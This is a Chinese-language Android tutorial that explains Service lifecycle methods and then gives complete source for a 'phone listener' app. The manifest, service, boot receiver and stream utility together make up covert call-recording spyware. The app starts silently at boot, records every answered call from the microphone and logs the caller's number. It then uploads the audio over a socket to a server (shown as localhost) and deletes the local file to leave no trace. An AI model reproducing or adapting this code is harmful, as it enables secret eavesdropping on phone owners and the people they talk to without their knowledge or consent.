Android中怎么利用Service實現一個電話監聽器

Android中怎么利用Service實現一個電話監聽器，相信很多沒有經驗的人對此束手無策，為此本文總結了問題出現的原因和解決方法，通過這篇文章希望你能解決這個問題。

***步：繼承Service類

public class SMSService extends Service { }

第二步：在AndroidManifest.xml文件中的<application>節點里對服務進行配置:

<service android:name=".SMSService" />

服務不能自己運行，需要通過調用Context.startService()或Context.bindService()方法啟動服務。這兩個方法都可以啟動Service，但是它們的使用場合有所不同。使用startService()方法啟用服務，調用者與服務之間沒有關連，即使調用者退出了，服務仍然運行。使用bindService()方法啟用服務，調用者與服務綁定在了一起，調用者一旦退出，服務也就終止，大有“不求同時生，必須同時死”的特點。

如果打算采用Context.startService()方法啟動服務，在服務未被創建時，系統會先調用服務的onCreate()方法，接著調用onStart()方法。如果調用startService()方法前服務已經被創建，多次調用startService()方法并不會導致多次創建服務，但會導致多次調用onStart()方法。采用startService()方法啟動的服務，只能調用Context.stopService()方法結束服務，服務結束時會調用onDestroy()方法。

如果打算采用Context.bindService()方法啟動服務，在服務未被創建時，系統會先調用服務的onCreate()方法，接著調用onBind()方法。這個時候調用者和服務綁定在一起，調用者退出了，系統就會先調用服務的onUnbind()方法，接著調用onDestroy()方法。如果調用bindService()方法前服務已經被綁定，多次調用bindService()方法并不會導致多次創建服務及綁定(也就是說onCreate()和onBind()方法并不會被多次調用)。如果調用者希望與正在綁定的服務解除綁定，可以調用unbindService()方法，調用該方法也會導致系統調用服務的onUnbind()-->onDestroy()方法。

服務常用生命周期回調方法如下：

onCreate() 該方法在服務被創建時調用，該方法只會被調用一次，無論調用多少次startService()或bindService()方法，服務也只被創建一次。

onDestroy()該方法在服務被終止時調用。

與采用Context.startService()方法啟動服務有關的生命周期方法

onStart() 只有采用Context.startService()方法啟動服務時才會回調該方法。該方法在服務開始運行時被調用。多次調用startService()方法盡管不會多次創建服務，但onStart() 方法會被多次調用。

與采用Context.bindService()方法啟動服務有關的生命周期方法

onBind()只有采用Context.bindService()方法啟動服務時才會回調該方法。該方法在調用者與服務綁定時被調用，當調用者與服務已經綁定，多次調用Context.bindService()方法并不會導致該方法被多次調用。

onUnbind()只有采用Context.bindService()方法啟動服務時才會回調該方法。該方法在調用者與服務解除綁定時被調用。

你可以使用手機進行現場錄音，實現步驟如下：

***步：在功能清單文件AndroidManifest.xml中添加音頻刻錄權限：

<uses-permission android:name="android.permission.RECORD_AUDIO"/>

第二步：編寫音頻刻錄代碼:

MediaRecorder recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風采集聲音

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內容輸出格式

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式

recorder.setOutputFile("/sdcard/itcast.amr");

recorder.prepare();//預期準備

recorder.start();   //開始刻錄
 ...
 recorder.stop();//停止刻錄

recorder.reset();   //重設

recorder.release(); //刻錄完成一定要釋放資源

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"            package="com.tjp.phonelistiner"             android:versionCode="1"             android:versionName="1.0">        <uses-sdk android:minSdkVersion="7" />        <application android:icon="@drawable/icon" android:label="@string/app_name">               <service android:name=".PhoneListinerService"/>                <receiver android:name=".BootBroadcastReceiver">                      <intent-filter>                            <!-- 開機廣播 -->                          <action android:name="android.intent.action.BOOT_COMPLETED"/>                     </intent-filter>              </receiver>        </application>      <!-- 訪問網絡的權限 -->       <uses-permission android:name="android.permission.INTERNET"/>      <!-- 電話狀態監聽權限 -->      <uses-permission android:name="android.permission.READ_PHONE_STATE"/>       <!-- 開機廣播權限 -->       <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>       <!-- 音頻刻錄權限 -->      <uses-permission android:name="android.permission.RECORD_AUDIO"/> </manifest>

StreamTool

package com.tjp.util;  import java.io.ByteArrayOutputStream;  import java.io.File;  import java.io.FileOutputStream;  import java.io.IOException;  import java.io.InputStream;  import java.io.PushbackInputStream;  public class StreamTool {       public static void save(File file, byte[] data) throws Exception {      FileOutputStream outStream = new FileOutputStream(file);         outStream.write(data);         outStream.close();    }     public static String readLine(PushbackInputStream in) throws IOException {      char buf[] = new char[128];      int room = buf.length;     int offset = 0;      int c;loop:       while (true) {        switch (c = in.read()) {           case -1:          case '\n':             break loop;        case '\r':       int c2 = in.read();      if ((c2 != '\n') && (c2 != -1)) in.unread(c2);           break loop;                       default:                              if (--room < 0) {               char[] lineBuffer = buf;        buf = new char[offset + 128];       room = buf.length - offset - 1;      System.arraycopy(lineBuffer, 0, buf, 0, offset);                                                     }      buf[offset++] = (char) c;       break;    }  }     if ((c == -1) && (offset == 0)) return null;     return String.copyValueOf(buf, 0, offset);  }  /**      * 讀取流   * @param inStream   * @return 字節數組  * @throws Exception   */      public static byte[] readStream(InputStream inStream) throws Exception{       ByteArrayOutputStream outSteam = new ByteArrayOutputStream();        byte[] buffer = new byte[1024];        int len = -1;       while( (len=inStream.read(buffer)) != -1){         outSteam.write(buffer, 0, len);  }        outSteam.close();        inStream.close();       return outSteam.toByteArray();  }  }

PhoneListinerService

package com.tjp.phonelistiner;  import java.io.File;  import java.io.OutputStream;  import java.io.PushbackInputStream;  import java.io.RandomAccessFile;  import java.net.Socket;  import android.app.Service;  import android.content.Context;  import android.content.Intent;  import android.media.MediaRecorder;  import android.os.IBinder;  import android.telephony.PhoneStateListener;  import android.telephony.TelephonyManager;  import android.util.Log;  import com.tjp.util.StreamTool;  public class PhoneListinerService extends Service {         private final String TAG="PhoneListinerService";          @Override         public IBinder onBind(Intent intent) {                      return null;       }         @Override        public void onCreate() {                 TelephonyManager telephonyManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);//獲得電話服務                 telephonyManager.listen(new TeleListine(), PhoneStateListener.LISTEN_CALL_STATE);//對來電狀態進行監聽                 Log.i(TAG, "onCreate");                 super.onCreate();      }           private class TeleListine extends PhoneStateListener{           private String mobile;//來電號碼           private MediaRecorder recorder;//多媒體刻錄文件           private File autoFile;//保存文件           private boolean recoder;//是否刻錄            @Override            public void onCallStateChanged(int state, String incomingNumber) {               try {                     switch (state) {                       case TelephonyManager.CALL_STATE_IDLE://無任何狀態時--掛斷電話時                           if(recoder){                                recorder.stop();//停止刻錄                                 recorder.release();//釋放刻錄                                 recoder=false;                                 new Thread(new UploadTask()).start();                                 Log.i(TAG, "開始上傳");                       }                      break;                    case TelephonyManager.CALL_STATE_OFFHOOK://接起電話時                        recorder = new MediaRecorder();                        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//從麥克風采集聲音                       recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//內容輸出格式                       recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音頻編碼方式                                            autoFile=new File(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");//輸出到緩存                        recorder.setOutputFile(autoFile.getAbsolutePath());//輸出的位置                        recorder.prepare();//預期準備                        recorder.start();   //開始刻錄                        recoder=true;                        Log.i(TAG, "接起電話");                      break;                     case TelephonyManager.CALL_STATE_RINGING://電話進來時                      mobile=incomingNumber;                        Log.i(TAG, "mobile="+mobile);                      break;                     default:                      break;                  }              } catch (Exception e) {                       Log.i(TAG,e.toString());                       e.printStackTrace();              }                 super.onCallStateChanged(state, incomingNumber);          }                  private final class UploadTask implements Runnable{              @Override              public void run() {                     try {           //Socket socket = new Socket("127.0.0.1", 7878);                                 Socket socket = new Socket("127.0.0.1", 7878);                                 OutputStream outStream = socket.getOutputStream();                                             String head = "Content-Length="+ autoFile.length() + ";filename="+ autoFile + ";         sourceid=1278916111468\r\n";                                          outStream.write(head.getBytes());                                                         PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());                                     String response = StreamTool.readLine(inStream);                                 System.out.println(response);                                 String[] items = response.split(";");                                 String position = items[1].substring(items[1].indexOf("=")+1);                                                        RandomAccessFile fileOutStream = new RandomAccessFile(autoFile, "r");                                 fileOutStream.seek(Integer.valueOf(position));                                 byte[] buffer = new byte[1024];                                 int len = -1;                                 int i = 0;                                while( (len = fileOutStream.read(buffer)) != -1){                                  outStream.write(buffer, 0, len);                                   i++;        //if(i==10) break;                          }                              fileOutStream.close();                              outStream.close();                              inStream.close();                             socket.close();                              autoFile.delete();//當上傳完就刪除文件                      } catch (Exception e) {                                    Log.i(TAG, "mobile="+mobile);                                 e.printStackTrace();                            }                 }                      }      }      @Override     public void onDestroy() {//清空緩存目錄下的所有文件             File[] files= getCacheDir().listFiles();//得到緩存下所有文件               if(files!=null){                     for(File file : files){                          file.delete();                   }             }            Log.i(TAG, "onDestroy");            super.onDestroy();       }         }

BootBroadcastReceiver

package com.tjp.phonelistiner;    import android.content.BroadcastReceiver;    import android.content.Context;    import android.content.Intent;    public class BootBroadcastReceiver extends BroadcastReceiver {        @Override        public void onReceive(Context context, Intent intent) {            Intent service=new Intent(context,PhoneListinerService.class);//顯示意圖    context.startService(service);        }  }

看完上述內容，你們掌握Android中怎么利用Service實現一個電話監聽器的方法了嗎？如果還想學到更多技能或想了解更多相關內容，歡迎關注億速云行業資訊頻道，感謝各位的閱讀！